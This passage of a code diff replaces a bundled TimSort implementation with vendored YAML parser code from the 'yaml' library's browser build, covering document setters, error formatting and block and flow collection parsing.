* Sets a value in this document. For `!!set`, `value` needs to be a + * boolean to add/remove the item from the set. + */ + set(key, value2) { + if (this.contents == null) { + this.contents = collectionFromPath(this.schema, [key], value2); + } else if (assertCollection(this.contents)) { + this.contents.set(key, value2); + } + } + /** + * Sets a value in this document. For `!!set`, `value` needs to be a + * boolean to add/remove the item from the set. + */ + setIn(path2, value2) { + if (isEmptyPath(path2)) { + this.contents = value2; + } else if (this.contents == null) { + this.contents = collectionFromPath(this.schema, Array.from(path2), value2); + } else if (assertCollection(this.contents)) { + this.contents.setIn(path2, value2); + } + } + /** + * Change the YAML version and schema used by the document. + * A `null` version disables support for directives, explicit tags, anchors, and aliases. + * It also requires the `schema` option to be given as a `Schema` instance value. + * + * Overrides all previously set schema options. + */ + setSchema(version5, options = {}) { + if (typeof version5 === "number") + version5 = String(version5); + let opt; + switch (version5) { + case "1.1": + if (this.directives) + this.directives.yaml.version = "1.1"; + else + this.directives = new Directives({ version: "1.1" }); + opt = { resolveKnownTags: false, schema: "yaml-1.1" }; + break; + case "1.2": + case "next": + if (this.directives) + this.directives.yaml.version = version5; + else + this.directives = new Directives({ version: version5 }); + opt = { resolveKnownTags: true, schema: "core" }; + break; + case null: + if (this.directives) + delete this.directives; + opt = null; + break; + default: { + const sv = JSON.stringify(version5); + throw new Error(`Expected '1.1', '1.2' or null as first argument, but found: ${sv}`); } - return n7 + r8; } - function makeAscendingRun(array, lo, hi, compare) { - let runHi = lo + 1; - if (runHi === hi) { - return 1; + if (options.schema instanceof Object) + this.schema = options.schema; + else if (opt) + this.schema = new Schema(Object.assign(opt, options)); + else + throw new Error(`With a null YAML version, the { schema: Schema } option is required`); + } + // json & jsonArg are only used from toJSON() + toJS({ json: json2, jsonArg, mapAsMap, maxAliasCount, onAnchor, reviver } = {}) { + const ctx = { + anchors: /* @__PURE__ */ new Map(), + doc: this, + keep: !json2, + mapAsMap: mapAsMap === true, + mapKeyWarned: false, + maxAliasCount: typeof maxAliasCount === "number" ? maxAliasCount : 100 + }; + const res = toJS(this.contents, jsonArg ?? "", ctx); + if (typeof onAnchor === "function") + for (const { count: count2, res: res2 } of ctx.anchors.values()) + onAnchor(res2, count2); + return typeof reviver === "function" ? applyReviver(reviver, { "": res }, "", res) : res; + } + /** + * A JSON representation of the document `contents`. + * + * @param jsonArg Used by `JSON.stringify` to indicate the array index or + * property name. + */ + toJSON(jsonArg, onAnchor) { + return this.toJS({ json: true, jsonArg, mapAsMap: false, onAnchor }); + } + /** A YAML representation of the document. */ + toString(options = {}) { + if (this.errors.length > 0) + throw new Error("Document with errors cannot be stringified"); + if ("indent" in options && (!Number.isInteger(options.indent) || Number(options.indent) <= 0)) { + const s7 = JSON.stringify(options.indent); + throw new Error(`"indent" option must be a positive integer, not ${s7}`); + } + return stringifyDocument(this, options); + } +}; +function assertCollection(contents) { + if (isCollection(contents)) + return true; + throw new Error("Expected a YAML collection as document contents"); +} + +// node_modules/yaml/browser/dist/errors.js +init_dirname(); +init_buffer2(); +init_process2(); +var YAMLError = class extends Error { + constructor(name2, pos, code, message) { + super(); + this.name = name2; + this.code = code; + this.message = message; + this.pos = pos; + } +}; +var YAMLParseError = class extends YAMLError { + constructor(pos, code, message) { + super("YAMLParseError", pos, code, message); + } +}; +var YAMLWarning = class extends YAMLError { + constructor(pos, code, message) { + super("YAMLWarning", pos, code, message); + } +}; +var prettifyError = (src, lc) => (error2) => { + if (error2.pos[0] === -1) + return; + error2.linePos = error2.pos.map((pos) => lc.linePos(pos)); + const { line, col } = error2.linePos[0]; + error2.message += ` at line ${line}, column ${col}`; + let ci = col - 1; + let lineStr = src.substring(lc.lineStarts[line - 1], lc.lineStarts[line]).replace(/[\n\r]+$/, ""); + if (ci >= 60 && lineStr.length > 80) { + const trimStart2 = Math.min(ci - 39, lineStr.length - 79); + lineStr = "\u2026" + lineStr.substring(trimStart2); + ci -= trimStart2 - 1; + } + if (lineStr.length > 80) + lineStr = lineStr.substring(0, 79) + "\u2026"; + if (line > 1 && /^ *$/.test(lineStr.substring(0, ci))) { + let prev = src.substring(lc.lineStarts[line - 2], lc.lineStarts[line - 1]); + if (prev.length > 80) + prev = prev.substring(0, 79) + "\u2026\n"; + lineStr = prev + lineStr; + } + if (/[^ ]/.test(lineStr)) { + let count2 = 1; + const end = error2.linePos[1]; + if (end && end.line === line && end.col > col) { + count2 = Math.max(1, Math.min(end.col - col, 80 - ci)); + } + const pointer = " ".repeat(ci) + "^".repeat(count2); + error2.message += `: + +${lineStr} +${pointer} +`; + } +}; + +// node_modules/yaml/browser/dist/compose/compose-doc.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/compose/compose-node.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/compose/compose-collection.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/compose/resolve-block-map.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/compose/resolve-props.js +init_dirname(); +init_buffer2(); +init_process2(); +function resolveProps(tokens, { flow: flow2, indicator, next, offset, onError, parentIndent, startOnNewline }) { + let spaceBefore = false; + let atNewline = startOnNewline; + let hasSpace = startOnNewline; + let comment = ""; + let commentSep = ""; + let hasNewline = false; + let reqSpace = false; + let tab = null; + let anchor = null; + let tag = null; + let newlineAfterProp = null; + let comma = null; + let found = null; + let start = null; + for (const token of tokens) { + if (reqSpace) { + if (token.type !== "space" && token.type !== "newline" && token.type !== "comma") + onError(token.offset, "MISSING_CHAR", "Tags and anchors must be separated from the next token by white space"); + reqSpace = false; + } + if (tab) { + if (atNewline && token.type !== "comment" && token.type !== "newline") { + onError(tab, "TAB_AS_INDENT", "Tabs are not allowed as indentation"); } - if (compare(array[runHi++], array[lo]) < 0) { - while (runHi < hi && compare(array[runHi], array[runHi - 1]) < 0) { - runHi++; - } - reverseRun(array, lo, runHi); - reverseRun(results, lo, runHi); - } else { - while (runHi < hi && compare(array[runHi], array[runHi - 1]) >= 0) { - runHi++; + tab = null; + } + switch (token.type) { + case "space": + if (!flow2 && (indicator !== "doc-start" || next?.type !== "flow-collection") && token.source.includes(" ")) { + tab = token; } + hasSpace = true; + break; + case "comment": { + if (!hasSpace) + onError(token, "MISSING_CHAR", "Comments must be separated from other tokens by white space characters"); + const cb = token.source.substring(1) || " "; + if (!comment) + comment = cb; + else + comment += commentSep + cb; + commentSep = ""; + atNewline = false; + break; } - return runHi - lo; - } - function reverseRun(array, lo, hi) { - hi--; - while (lo < hi) { - const t8 = array[lo]; - array[lo++] = array[hi]; - array[hi--] = t8; + case "newline": + if (atNewline) { + if (comment) + comment += token.source; + else if (!found || indicator !== "seq-item-ind") + spaceBefore = true; + } else + commentSep += token.source; + atNewline = true; + hasNewline = true; + if (anchor || tag) + newlineAfterProp = token; + hasSpace = true; + break; + case "anchor": + if (anchor) + onError(token, "MULTIPLE_ANCHORS", "A node can have at most one anchor"); + if (token.source.endsWith(":")) + onError(token.offset + token.source.length - 1, "BAD_ALIAS", "Anchor ending in : is ambiguous", true); + anchor = token; + start ?? (start = token.offset); + atNewline = false; + hasSpace = false; + reqSpace = true; + break; + case "tag": { + if (tag) + onError(token, "MULTIPLE_TAGS", "A node can have at most one tag"); + tag = token; + start ?? (start = token.offset); + atNewline = false; + hasSpace = false; + reqSpace = true; + break; } + case indicator: + if (anchor || tag) + onError(token, "BAD_PROP_ORDER", `Anchors and tags must be after the ${token.source} indicator`); + if (found) + onError(token, "UNEXPECTED_TOKEN", `Unexpected ${token.source} in ${flow2 ?? "collection"}`); + found = token; + atNewline = indicator === "seq-item-ind" || indicator === "explicit-key-ind"; + hasSpace = false; + break; + case "comma": + if (flow2) { + if (comma) + onError(token, "UNEXPECTED_TOKEN", `Unexpected , in ${flow2}`); + comma = token; + atNewline = false; + hasSpace = false; + break; + } + default: + onError(token, "UNEXPECTED_TOKEN", `Unexpected ${token.type} token`); + atNewline = false; + hasSpace = false; } - function binaryInsertionSort(array, lo, hi, start, compare) { - if (start === lo) { - start++; + } + const last2 = tokens[tokens.length - 1]; + const end = last2 ? last2.offset + last2.source.length : offset; + if (reqSpace && next && next.type !== "space" && next.type !== "newline" && next.type !== "comma" && (next.type !== "scalar" || next.source !== "")) { + onError(next.offset, "MISSING_CHAR", "Tags and anchors must be separated from the next token by white space"); + } + if (tab && (atNewline && tab.indent <= parentIndent || next?.type === "block-map" || next?.type === "block-seq")) + onError(tab, "TAB_AS_INDENT", "Tabs are not allowed as indentation"); + return { + comma, + found, + spaceBefore, + comment, + hasNewline, + anchor, + tag, + newlineAfterProp, + end, + start: start ?? end + }; +} + +// node_modules/yaml/browser/dist/compose/util-contains-newline.js +init_dirname(); +init_buffer2(); +init_process2(); +function containsNewline(key) { + if (!key) + return null; + switch (key.type) { + case "alias": + case "scalar": + case "double-quoted-scalar": + case "single-quoted-scalar": + if (key.source.includes("\n")) + return true; + if (key.end) { + for (const st2 of key.end) + if (st2.type === "newline") + return true; } - for (; start < hi; start++) { - const pivot = array[start]; - const pivotIndex = results[start]; - let left = lo; - let right = start; - while (left < right) { - const mid = left + right >>> 1; - if (compare(pivot, array[mid]) < 0) { - right = mid; - } else { - left = mid + 1; - } - } - let n7 = start - left; - switch (n7) { - case 3: - array[left + 3] = array[left + 2]; - results[left + 3] = results[left + 2]; - case 2: - array[left + 2] = array[left + 1]; - results[left + 2] = results[left + 1]; - case 1: - array[left + 1] = array[left]; - results[left + 1] = results[left]; - break; - default: - while (n7 > 0) { - array[left + n7] = array[left + n7 - 1]; - results[left + n7] = results[left + n7 - 1]; - n7--; - } + return false; + case "flow-collection": + for (const it2 of key.items) { + for (const st2 of it2.start) + if (st2.type === "newline") + return true; + if (it2.sep) { + for (const st2 of it2.sep) + if (st2.type === "newline") + return true; } - array[left] = pivot; - results[left] = pivotIndex; + if (containsNewline(it2.key) || containsNewline(it2.value)) + return true; } + return false; + default: + return true; + } +} + +// node_modules/yaml/browser/dist/compose/util-flow-indent-check.js +init_dirname(); +init_buffer2(); +init_process2(); +function flowIndentCheck(indent, fc, onError) { + if (fc?.type === "flow-collection") { + const end = fc.end[0]; + if (end.indent === indent && (end.source === "]" || end.source === "}") && containsNewline(fc)) { + const msg = "Flow end indicator should be more indented than parent"; + onError(end, "BAD_INDENT", msg, true); } - function gallopLeft(value2, array, start, length, hint, compare) { - let lastOffset = 0; - let maxOffset = 0; - let offset = 1; - if (compare(value2, array[start + hint]) > 0) { - maxOffset = length - hint; - while (offset < maxOffset && compare(value2, array[start + hint + offset]) > 0) { - lastOffset = offset; - offset = (offset << 1) + 1; - if (offset <= 0) { - offset = maxOffset; - } - } - if (offset > maxOffset) { - offset = maxOffset; - } - lastOffset += hint; - offset += hint; - } else { - maxOffset = hint + 1; - while (offset < maxOffset && compare(value2, array[start + hint - offset]) <= 0) { - lastOffset = offset; - offset = (offset << 1) + 1; - if (offset <= 0) { - offset = maxOffset; - } - } - if (offset > maxOffset) { - offset = maxOffset; - } - const tmp = lastOffset; - lastOffset = hint - offset; - offset = hint - tmp; + } +} + +// node_modules/yaml/browser/dist/compose/util-map-includes.js +init_dirname(); +init_buffer2(); +init_process2(); +function mapIncludes(ctx, items, search) { + const { uniqueKeys } = ctx.options; + if (uniqueKeys === false) + return false; + const isEqual2 = typeof uniqueKeys === "function" ? uniqueKeys : (a7, b8) => a7 === b8 || isScalar(a7) && isScalar(b8) && a7.value === b8.value; + return items.some((pair) => isEqual2(pair.key, search)); +} + +// node_modules/yaml/browser/dist/compose/resolve-block-map.js +var startColMsg = "All mapping items must start at the same column"; +function resolveBlockMap({ composeNode: composeNode3, composeEmptyNode: composeEmptyNode2 }, ctx, bm, onError, tag) { + const NodeClass = tag?.nodeClass ?? YAMLMap; + const map4 = new NodeClass(ctx.schema); + if (ctx.atRoot) + ctx.atRoot = false; + let offset = bm.offset; + let commentEnd = null; + for (const collItem of bm.items) { + const { start, key, sep: sep2, value: value2 } = collItem; + const keyProps = resolveProps(start, { + indicator: "explicit-key-ind", + next: key ?? sep2?.[0], + offset, + onError, + parentIndent: bm.indent, + startOnNewline: true + }); + const implicitKey = !keyProps.found; + if (implicitKey) { + if (key) { + if (key.type === "block-seq") + onError(offset, "BLOCK_AS_IMPLICIT_KEY", "A block sequence may not be used as an implicit map key"); + else if ("indent" in key && key.indent !== bm.indent) + onError(offset, "BAD_INDENT", startColMsg); } - lastOffset++; - while (lastOffset < offset) { - const m7 = lastOffset + (offset - lastOffset >>> 1); - if (compare(value2, array[start + m7]) > 0) { - lastOffset = m7 + 1; - } else { - offset = m7; + if (!keyProps.anchor && !keyProps.tag && !sep2) { + commentEnd = keyProps.end; + if (keyProps.comment) { + if (map4.comment) + map4.comment += "\n" + keyProps.comment; + else + map4.comment = keyProps.comment; } + continue; } - return offset; + if (keyProps.newlineAfterProp || containsNewline(key)) { + onError(key ?? start[start.length - 1], "MULTILINE_IMPLICIT_KEY", "Implicit keys need to be on a single line"); + } + } else if (keyProps.found?.indent !== bm.indent) { + onError(offset, "BAD_INDENT", startColMsg); } - function gallopRight(value2, array, start, length, hint, compare) { - let lastOffset = 0; - let maxOffset = 0; - let offset = 1; - if (compare(value2, array[start + hint]) < 0) { - maxOffset = hint + 1; - while (offset < maxOffset && compare(value2, array[start + hint - offset]) < 0) { - lastOffset = offset; - offset = (offset << 1) + 1; - if (offset <= 0) { - offset = maxOffset; - } - } - if (offset > maxOffset) { - offset = maxOffset; - } - const tmp = lastOffset; - lastOffset = hint - offset; - offset = hint - tmp; - } else { - maxOffset = length - hint; - while (offset < maxOffset && compare(value2, array[start + hint + offset]) >= 0) { - lastOffset = offset; - offset = (offset << 1) + 1; - if (offset <= 0) { - offset = maxOffset; - } - } - if (offset > maxOffset) { - offset = maxOffset; - } - lastOffset += hint; - offset += hint; + ctx.atKey = true; + const keyStart = keyProps.end; + const keyNode = key ? composeNode3(ctx, key, keyProps, onError) : composeEmptyNode2(ctx, keyStart, start, null, keyProps, onError); + if (ctx.schema.compat) + flowIndentCheck(bm.indent, key, onError); + ctx.atKey = false; + if (mapIncludes(ctx, map4.items, keyNode)) + onError(keyStart, "DUPLICATE_KEY", "Map keys must be unique"); + const valueProps = resolveProps(sep2 ?? [], { + indicator: "map-value-ind", + next: value2, + offset: keyNode.range[2], + onError, + parentIndent: bm.indent, + startOnNewline: !key || key.type === "block-scalar" + }); + offset = valueProps.end; + if (valueProps.found) { + if (implicitKey) { + if (value2?.type === "block-map" && !valueProps.hasNewline) + onError(offset, "BLOCK_AS_IMPLICIT_KEY", "Nested mappings are not allowed in compact mappings"); + if (ctx.options.strict && keyProps.start < valueProps.found.offset - 1024) + onError(keyNode.range, "KEY_OVER_1024_CHARS", "The : indicator must be at most 1024 chars after the start of an implicit block mapping key"); } - lastOffset++; - while (lastOffset < offset) { - const m7 = lastOffset + (offset - lastOffset >>> 1); - if (compare(value2, array[start + m7]) < 0) { - offset = m7; - } else { - lastOffset = m7 + 1; - } + const valueNode = value2 ? composeNode3(ctx, value2, valueProps, onError) : composeEmptyNode2(ctx, offset, sep2, null, valueProps, onError); + if (ctx.schema.compat) + flowIndentCheck(bm.indent, value2, onError); + offset = valueNode.range[2]; + const pair = new Pair(keyNode, valueNode); + if (ctx.options.keepSourceTokens) + pair.srcToken = collItem; + map4.items.push(pair); + } else { + if (implicitKey) + onError(keyNode.range, "MISSING_CHAR", "Implicit map keys need to be followed by map values"); + if (valueProps.comment) { + if (keyNode.comment) + keyNode.comment += "\n" + valueProps.comment; + else + keyNode.comment = valueProps.comment; } - return offset; + const pair = new Pair(keyNode); + if (ctx.options.keepSourceTokens) + pair.srcToken = collItem; + map4.items.push(pair); } - var TimSort = class { - constructor(array, compare) { - this.array = array; - this.compare = compare; - const { length } = array; - this.length = length; - this.minGallop = DEFAULT_MIN_GALLOPING; - this.tmpStorageLength = length < 2 * DEFAULT_TMP_STORAGE_LENGTH ? length >>> 1 : DEFAULT_TMP_STORAGE_LENGTH; - this.tmp = new Array(this.tmpStorageLength); - this.tmpIndex = new Array(this.tmpStorageLength); - this.stackLength = length < 120 ? 5 : length < 1542 ? 10 : length < 119151 ? 19 : 40; - this.runStart = new Array(this.stackLength); - this.runLength = new Array(this.stackLength); - this.stackSize = 0; - } - /** - * Push a new run on TimSort's stack. - * - * @param {number} runStart - Start index of the run in the original array. - * @param {number} runLength - Length of the run; - */ - pushRun(runStart, runLength) { - this.runStart[this.stackSize] = runStart; - this.runLength[this.stackSize] = runLength; - this.stackSize += 1; + } + if (commentEnd && commentEnd < offset) + onError(commentEnd, "IMPOSSIBLE", "Map comment with trailing content"); + map4.range = [bm.offset, offset, commentEnd ?? offset]; + return map4; +} + +// node_modules/yaml/browser/dist/compose/resolve-block-seq.js +init_dirname(); +init_buffer2(); +init_process2(); +function resolveBlockSeq({ composeNode: composeNode3, composeEmptyNode: composeEmptyNode2 }, ctx, bs, onError, tag) { + const NodeClass = tag?.nodeClass ?? YAMLSeq; + const seq3 = new NodeClass(ctx.schema); + if (ctx.atRoot) + ctx.atRoot = false; + if (ctx.atKey) + ctx.atKey = false; + let offset = bs.offset; + let commentEnd = null; + for (const { start, value: value2 } of bs.items) { + const props = resolveProps(start, { + indicator: "seq-item-ind", + next: value2, + offset, + onError, + parentIndent: bs.indent, + startOnNewline: true + }); + if (!props.found) { + if (props.anchor || props.tag || value2) { + if (value2 && value2.type === "block-seq") + onError(props.end, "BAD_INDENT", "All sequence items must start at the same column"); + else + onError(offset, "MISSING_CHAR", "Sequence item without - indicator"); + } else { + commentEnd = props.end; + if (props.comment) + seq3.comment = props.comment; + continue; } - /** - * Merge runs on TimSort's stack so that the following holds for all i: - * 1) runLength[i - 3] > runLength[i - 2] + runLength[i - 1] - * 2) runLength[i - 2] > runLength[i - 1] - */ - mergeRuns() { - while (this.stackSize > 1) { - let n7 = this.stackSize - 2; - if (n7 >= 1 && this.runLength[n7 - 1] <= this.runLength[n7] + this.runLength[n7 + 1] || n7 >= 2 && this.runLength[n7 - 2] <= this.runLength[n7] + this.runLength[n7 - 1]) { - if (this.runLength[n7 - 1] < this.runLength[n7 + 1]) { - n7--; - } - } else if (this.runLength[n7] > this.runLength[n7 + 1]) { - break; - } - this.mergeAt(n7); + } + const node = value2 ? composeNode3(ctx, value2, props, onError) : composeEmptyNode2(ctx, props.end, start, null, props, onError); + if (ctx.schema.compat) + flowIndentCheck(bs.indent, value2, onError); + offset = node.range[2]; + seq3.items.push(node); + } + seq3.range = [bs.offset, offset, commentEnd ?? offset]; + return seq3; +} + +// node_modules/yaml/browser/dist/compose/resolve-flow-collection.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/compose/resolve-end.js +init_dirname(); +init_buffer2(); +init_process2(); +function resolveEnd(end, offset, reqSpace, onError) { + let comment = ""; + if (end) { + let hasSpace = false; + let sep2 = ""; + for (const token of end) { + const { source, type: type3 } = token; + switch (type3) { + case "space": + hasSpace = true; + break; + case "comment": { + if (reqSpace && !hasSpace) + onError(token, "MISSING_CHAR", "Comments must be separated from other tokens by white space characters"); + const cb = source.substring(1) || " "; + if (!comment) + comment = cb; + else + comment += sep2 + cb; + sep2 = ""; + break; } + case "newline": + if (comment) + sep2 += source; + hasSpace = true; + break; + default: + onError(token, "UNEXPECTED_TOKEN", `Unexpected ${type3} at node end`); } - /** - * Merge all runs on TimSort's stack until only one remains. - */ - forceMergeRuns() { - while (this.stackSize > 1) { - let n7 = this.stackSize - 2; - if (n7 > 0 && this.runLength[n7 - 1] < this.runLength[n7 + 1]) { - n7--; - } - this.mergeAt(n7); + offset += source.length; + } + } + return { comment, offset }; +} + +// node_modules/yaml/browser/dist/compose/resolve-flow-collection.js +var blockMsg = "Block collections are not allowed within flow collections"; +var isBlock = (token) => token && (token.type === "block-map" || token.type === "block-seq"); +function resolveFlowCollection({ composeNode: composeNode3, composeEmptyNode: composeEmptyNode2 }, ctx, fc, onError, tag) { + const isMap3 = fc.start.source === "{"; + const fcName = isMap3 ? "flow map" : "flow sequence"; + const NodeClass = tag?.nodeClass ?? (isMap3 ? YAMLMap : YAMLSeq); + const coll = new NodeClass(ctx.schema); + coll.flow = true; + const atRoot = ctx.atRoot; + if (atRoot) + ctx.atRoot = false; + if (ctx.atKey) + ctx.atKey = false; + let offset = fc.offset + fc.start.source.length; + for (let i7 = 0; i7 < fc.items.length; ++i7) { + const collItem = fc.items[i7]; + const { start, key, sep: sep2, value: value2 } = collItem; + const props = resolveProps(start, { + flow: fcName, + indicator: "explicit-key-ind", + next: key ?? sep2?.[0], + offset, + onError, + parentIndent: fc.indent, + startOnNewline: false + }); + if (!props.found) { + if (!props.anchor && !props.tag && !sep2 && !value2) { + if (i7 === 0 && props.comma) + onError(props.comma, "UNEXPECTED_TOKEN", `Unexpected , in ${fcName}`); + else if (i7 < fc.items.length - 1) + onError(props.start, "UNEXPECTED_TOKEN", `Unexpected empty item in ${fcName}`); + if (props.comment) { + if (coll.comment) + coll.comment += "\n" + props.comment; + else + coll.comment = props.comment; } + offset = props.end; + continue; } - /** - * Merge the runs on the stack at positions i and i+1. Must be always be called - * with i=stackSize-2 or i=stackSize-3 (that is, we merge on top of the stack). - * - * @param {number} i - Index of the run to merge in TimSort's stack. - */ - mergeAt(i7) { - const { compare } = this; - const { array } = this; - let start1 = this.runStart[i7]; - let length1 = this.runLength[i7]; - const start2 = this.runStart[i7 + 1]; - let length2 = this.runLength[i7 + 1]; - this.runLength[i7] = length1 + length2; - if (i7 === this.stackSize - 3) { - this.runStart[i7 + 1] = this.runStart[i7 + 2]; - this.runLength[i7 + 1] = this.runLength[i7 + 2]; - } - this.stackSize--; - const k6 = gallopRight(array[start2], array, start1, length1, 0, compare); - start1 += k6; - length1 -= k6; - if (length1 === 0) { - return; - } - length2 = gallopLeft( - array[start1 + length1 - 1], - array, - start2, - length2, - length2 - 1, - compare + if (!isMap3 && ctx.options.strict && containsNewline(key)) + onError( + key, + // checked by containsNewline() + "MULTILINE_IMPLICIT_KEY", + "Implicit keys of flow sequence pairs need to be on a single line" ); - if (length2 === 0) { - return; - } - if (length1 <= length2) { - this.mergeLow(start1, length1, start2, length2); - } else { - this.mergeHigh(start1, length1, start2, length2); - } - } - /** - * Merge two adjacent runs in a stable way. The runs must be such that the - * first element of run1 is bigger than the first element in run2 and the - * last element of run1 is greater than all the elements in run2. - * The method should be called when run1.length <= run2.length as it uses - * TimSort temporary array to store run1. Use mergeHigh if run1.length > - * run2.length. - * - * @param {number} start1 - First element in run1. - * @param {number} length1 - Length of run1. - * @param {number} start2 - First element in run2. - * @param {number} length2 - Length of run2. - */ - mergeLow(start1, length1, start2, length2) { - const { compare } = this; - const { array } = this; - const { tmp } = this; - const { tmpIndex } = this; - let i7 = 0; - for (i7 = 0; i7 < length1; i7++) { - tmp[i7] = array[start1 + i7]; - tmpIndex[i7] = results[start1 + i7]; - } - let cursor1 = 0; - let cursor2 = start2; - let dest = start1; - array[dest] = array[cursor2]; - results[dest] = results[cursor2]; - dest++; - cursor2++; - if (--length2 === 0) { - for (i7 = 0; i7 < length1; i7++) { - array[dest + i7] = tmp[cursor1 + i7]; - results[dest + i7] = tmpIndex[cursor1 + i7]; - } - return; - } - if (length1 === 1) { - for (i7 = 0; i7 < length2; i7++) { - array[dest + i7] = array[cursor2 + i7]; - results[dest + i7] = results[cursor2 + i7]; - } - array[dest + length2] = tmp[cursor1]; - results[dest + length2] = tmpIndex[cursor1]; - return; - } - let { minGallop } = this; - while (true) { - let count1 = 0; - let count2 = 0; - let exit3 = false; - do { - if (compare(array[cursor2], tmp[cursor1]) < 0) { - array[dest] = array[cursor2]; - results[dest] = results[cursor2]; - dest++; - cursor2++; - count2++; - count1 = 0; - if (--length2 === 0) { - exit3 = true; - break; - } - } else { - array[dest] = tmp[cursor1]; - results[dest] = tmpIndex[cursor1]; - dest++; - cursor1++; - count1++; - count2 = 0; - if (--length1 === 1) { - exit3 = true; - break; - } - } - } while ((count1 | count2) < minGallop); - if (exit3) { - break; - } - do { - count1 = gallopRight(array[cursor2], tmp, cursor1, length1, 0, compare); - if (count1 !== 0) { - for (i7 = 0; i7 < count1; i7++) { - array[dest + i7] = tmp[cursor1 + i7]; - results[dest + i7] = tmpIndex[cursor1 + i7]; - } - dest += count1; - cursor1 += count1; - length1 -= count1; - if (length1 <= 1) { - exit3 = true; - break; - } - } - array[dest] = array[cursor2]; - results[dest] = results[cursor2]; - dest++; - cursor2++; - if (--length2 === 0) { - exit3 = true; - break; - } - count2 = gallopLeft(tmp[cursor1], array, cursor2, length2, 0, compare); - if (count2 !== 0) { - for (i7 = 0; i7 < count2; i7++) { - array[dest + i7] = array[cursor2 + i7]; - results[dest + i7] = results[cursor2 + i7]; - } - dest += count2; - cursor2 += count2; - length2 -= count2; - if (length2 === 0) { - exit3 = true; + } + if (i7 === 0) { + if (props.comma) + onError(props.comma, "UNEXPECTED_TOKEN", `Unexpected , in ${fcName}`); + } else { + if (!props.comma) + onError(props.start, "MISSING_CHAR", `Missing , between ${fcName} items`); + if (props.comment) { + let prevItemComment = ""; + loop: + for (const st2 of start) { + switch (st2.type) { + case "comma": + case "space": break; - } - } - array[dest] = tmp[cursor1]; - results[dest] = tmpIndex[cursor1]; - dest++; - cursor1++; - if (--length1 === 1) { - exit3 = true; - break; + case "comment": + prevItemComment = st2.source.substring(1); + break loop; + default: + break loop; } - minGallop--; - } while (count1 >= DEFAULT_MIN_GALLOPING || count2 >= DEFAULT_MIN_GALLOPING); - if (exit3) { - break; - } - if (minGallop < 0) { - minGallop = 0; - } - minGallop += 2; - } - this.minGallop = minGallop; - if (minGallop < 1) { - this.minGallop = 1; - } - if (length1 === 1) { - for (i7 = 0; i7 < length2; i7++) { - array[dest + i7] = array[cursor2 + i7]; - results[dest + i7] = results[cursor2 + i7]; - } - array[dest + length2] = tmp[cursor1]; - results[dest + length2] = tmpIndex[cursor1]; - } else if (length1 === 0) { - throw new Error("mergeLow preconditions were not respected"); - } else { - for (i7 = 0; i7 < length1; i7++) { - array[dest + i7] = tmp[cursor1 + i7]; - results[dest + i7] = tmpIndex[cursor1 + i7]; } + if (prevItemComment) { + let prev = coll.items[coll.items.length - 1]; + if (isPair(prev)) + prev = prev.value ?? prev.key; + if (prev.comment) + prev.comment += "\n" + prevItemComment; + else + prev.comment = prevItemComment; + props.comment = props.comment.substring(prevItemComment.length + 1); } } - /** - * Merge two adjacent runs in a stable way. The runs must be such that the - * first element of run1 is bigger than the first element in run2 and the - * last element of run1 is greater than all the elements in run2. - * The method should be called when run1.length > run2.length as it uses - * TimSort temporary array to store run2. Use mergeLow if run1.length <= - * run2.length. - * - * @param {number} start1 - First element in run1. - * @param {number} length1 - Length of run1. - * @param {number} start2 - First element in run2. - * @param {number} length2 - Length of run2. - */ - mergeHigh(start1, length1, start2, length2) { - const { compare } = this; - const { array } = this; - const { tmp } = this; - const { tmpIndex } = this; - let i7 = 0; - for (i7 = 0; i7 < length2; i7++) { - tmp[i7] = array[start2 + i7]; - tmpIndex[i7] = results[start2 + i7]; - } - let cursor1 = start1 + length1 - 1; - let cursor2 = length2 - 1; - let dest = start2 + length2 - 1; - let customCursor = 0; - let customDest = 0; - array[dest] = array[cursor1]; - results[dest] = results[cursor1]; - dest--; - cursor1--; - if (--length1 === 0) { - customCursor = dest - (length2 - 1); - for (i7 = 0; i7 < length2; i7++) { - array[customCursor + i7] = tmp[i7]; - results[customCursor + i7] = tmpIndex[i7]; - } - return; - } - if (length2 === 1) { - dest -= length1; - cursor1 -= length1; - customDest = dest + 1; - customCursor = cursor1 + 1; - for (i7 = length1 - 1; i7 >= 0; i7--) { - array[customDest + i7] = array[customCursor + i7]; - results[customDest + i7] = results[customCursor + i7]; - } - array[dest] = tmp[cursor2]; - results[dest] = tmpIndex[cursor2]; - return; - } - let { minGallop } = this; - while (true) { - let count1 = 0; - let count2 = 0; - let exit3 = false; - do { - if (compare(tmp[cursor2], array[cursor1]) < 0) { - array[dest] = array[cursor1]; - results[dest] = results[cursor1]; - dest--; - cursor1--; - count1++; - count2 = 0; - if (--length1 === 0) { - exit3 = true; - break; - } - } else { - array[dest] = tmp[cursor2]; - results[dest] = tmpIndex[cursor2]; - dest--; - cursor2--; - count2++; - count1 = 0; - if (--length2 === 1) { - exit3 = true; - break; - } - } - } while ((count1 | count2) < minGallop); - if (exit3) { - break; - } - do { - count1 = length1 - gallopRight( - tmp[cursor2], - array, - start1, - length1, - length1 - 1, - compare - ); - if (count1 !== 0) { - dest -= count1; - cursor1 -= count1; - length1 -= count1; - customDest = dest + 1; - customCursor = cursor1 + 1; - for (i7 = count1 - 1; i7 >= 0; i7--) { - array[customDest + i7] = array[customCursor + i7]; - results[customDest + i7] = results[customCursor + i7]; - } - if (length1 === 0) { - exit3 = true; + } + if (!isMap3 && !sep2 && !props.found) { + const valueNode = value2 ? composeNode3(ctx, value2, props, onError) : composeEmptyNode2(ctx, props.end, sep2, null, props, onError); + coll.items.push(valueNode); + offset = valueNode.range[2]; + if (isBlock(value2)) + onError(valueNode.range, "BLOCK_IN_FLOW", blockMsg); + } else { + ctx.atKey = true; + const keyStart = props.end; + const keyNode = key ? composeNode3(ctx, key, props, onError) : composeEmptyNode2(ctx, keyStart, start, null, props, onError); + if (isBlock(key)) + onError(keyNode.range, "BLOCK_IN_FLOW", blockMsg); + ctx.atKey = false; + const valueProps = resolveProps(sep2 ?? [], { + flow: fcName, + indicator: "map-value-ind", + next: value2, + offset: keyNode.range[2], + onError, + parentIndent: fc.indent, + startOnNewline: false + }); + if (valueProps.found) { + if (!isMap3 && !props.found && ctx.options.strict) { + if (sep2) + for (const st2 of sep2) { + if (st2 === valueProps.found) break; - } - } - array[dest] = 